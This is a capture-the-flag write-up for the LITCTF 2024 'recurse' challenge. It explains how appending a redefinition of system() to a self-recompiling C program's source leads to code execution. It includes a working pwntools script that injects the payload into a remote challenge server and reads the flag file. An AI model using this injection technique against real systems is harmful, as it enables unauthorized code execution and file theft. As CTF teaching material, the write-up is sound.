← Back to home

LITCTF 2024 — recurse

I hate loops.

We're given a C file that looks like this:

Code (c):

1#include <stdio.h>
2#include <string.h>
3#include <stdlib.h>
4#include <unistd.h>
5#include <sys/wait.h>
6
7int get(char* buf, int n) {
8    fflush(stdout);
9    if (fgets(buf, n, stdin) == NULL) {
10        puts("Error");
11        exit(1);
12    }
13    int end = strcspn(buf, "\n");
14    if (buf[end] == '\0') {
15        puts("Too long");
16        exit(1);
17    }
18    buf[end] = '\0';
19    return end;
20}
21
22int main(void) {
23    fputs("Filename? ", stdout);
24    char fname[10];
25    int fn = get(fname, sizeof(fname));
26    for (int i = 0; i < fn; ++i) {
27        char c = fname[i];
28        if (('a' <= c && c <= 'z') || c == '.') {
29            continue;
30        }
31        puts("Only a-z and .");
32        return 1;
33    }
34    if (strstr(fname, "flag.txt") != NULL) {
35        printf("Nice try!");
36        return 1;
37    }
38    FILE* file = fopen(fname, "a+b");
39
40    fputs("Read (R) or Write (W)? ", stdout);
41    char option[3];
42    get(option, sizeof(option));
43
44    switch (option[0]) {
45        case 'R': {
46            char contents[25];
47            int n = fread(contents, 1, sizeof(contents), file);
48            fputs("Contents: ", stdout);
49            fwrite(contents, 1, n, stdout);
50            puts("");
51            break;
52        }
53        case 'W': {
54            fputs("Contents? ", stdout);
55            char contents[25];
56            int n = get(contents, sizeof(contents));
57            fwrite(contents, 1, n, file);
58            break;
59        }
60        default: {
61            puts("Invalid");
62            return 1;
63        }
64    }
65
66    fclose(file);
67    fflush(stdout);
68
69    int ret = system("gcc main.c -o main");
70    if (!WIFEXITED(ret) || WEXITSTATUS(ret)) {
71        puts("Compilation failed");
72        return 1;
73    }
74    execl("main", "main", NULL);
75}

At every iteration, we can either

  • read the first 25 characters of a file.
  • append 25 characters to the end of a file.

where the file can't be flag.txt. Then, the program recompiles and re-runs itself if no compilation errors occurred.

The main idea of this challenge is that we can append arbitrary code to main.c, which will hopefully get executed when the file is recompiled and run. The problem, however, is that because we can only append to files, we can only write code after the main() function is already defined; since #defines only replace tokens parsed after the directive, they won't help here either. What can we write that will get executed if we can only write to the end of the file?

Interestingly, redefining certain C stdlib functions causes the updated function definition to be used even if the redefinition happened after the usage. For example, the following C program prints "aaa" as expected:

Code (c):

1#include <string.h>
2#include <stdio.h>
3
4int main() {
5    printf("%s", strstr("aaa", "a"));
6}
7
8char *strstr(const char *s, const char *t) {
9    return "hello";
10}

Code (bash):

1kevin@ky28059:~$ gcc test_a.c
2kevin@ky28059:~$ ./a.out
3aaa

However, the following program prints "hello" unexpectedly, even though the strdup redefinition happens after main is defined:

Code (c):

1#include <string.h>
2#include <stdio.h>
3
4int main() {
5    printf("%s", strdup("aaa"));
6}
7
8char *strdup(const char *s) {
9    return "hello";
10}

Code (bash):

1kevin@ky28059:~$ gcc test_b.c
2kevin@ky28059:~$ ./a.out
3hello

Knowing this, we can look for functions in the remote C program that might be vulnerable to such a redefinition. Though fputs and strstr are safe, system is not.

Then, we just need to write a script that would inject a malicious redefinition of system such that a call to system will cat the flag. Because we can only write 24 characters at a time (and need main.c to compile each time), we can write our payload in chunks to a header file instead.

Then, we can #include the header file and run through the program again to trigger system and get the flag. Here's a Python script that does just that:

Code (py):

1import pwn
2
3payload = 'int system(const char *s) {FILE *fp = fopen("flag.txt", "r");char buf[256];fscanf(fp, "%s", buf);printf("%s\\n", buf);fflush(stdout);return 0;}'
4
5
6conn = pwn.remote('34.31.154.223', 56284)
7
8# Populate `p.h` with our malicious payload
9for i in range(0, len(payload), 20):
10    conn.recvuntil(b'Filename? ')
11    conn.sendline(b'p.h')
12
13    conn.recvuntil(b'Read (R) or Write (W)? ')
14    conn.sendline(b'W')
15
16    conn.recvuntil(b'Contents? ')
17    conn.sendline(payload[i:i+20].encode())
18
19    print(payload[i:i+20], end='')
20
21print()
22
23# Include the payload header file in the main C file
24conn.recvuntil(b'Filename? ')
25conn.sendline(b'main.c')
26
27conn.recvuntil(b'Read (R) or Write (W)? ')
28conn.sendline(b'W')
29
30conn.recvuntil(b'Contents? ')
31conn.sendline(b'#include "p.h"')
32
33# One more run to invoke the redefined `system()` call
34conn.recvuntil(b'Filename? ')
35conn.sendline(b'p.h')
36
37conn.recvuntil(b'Read (R) or Write (W)? ')
38conn.sendline(b'R')
39
40print(conn.recvline().decode())
41print(conn.recvline().decode())

Code:

1[x] Opening connection to 34.31.154.223 on port 56284
2[x] Opening connection to 34.31.154.223 on port 56284: Trying 34.31.154.223
3[+] Opening connection to 34.31.154.223 on port 56284: Done
4int system(const char *s) {FILE *fp = fopen("flag.txt", "r");char buf[256];fscanf(fp, "%s", buf);printf("%s\n", buf);fflush(stdout);return 0;}
5Contents: int system(const char *s)
6
7LITCTF{4_pr0gr4m_7h4t_m0d1f13s_1t5elf?_b34u71ful!_a1cd446b}
8
9[*] Closed connection to 34.31.154.223 port 56284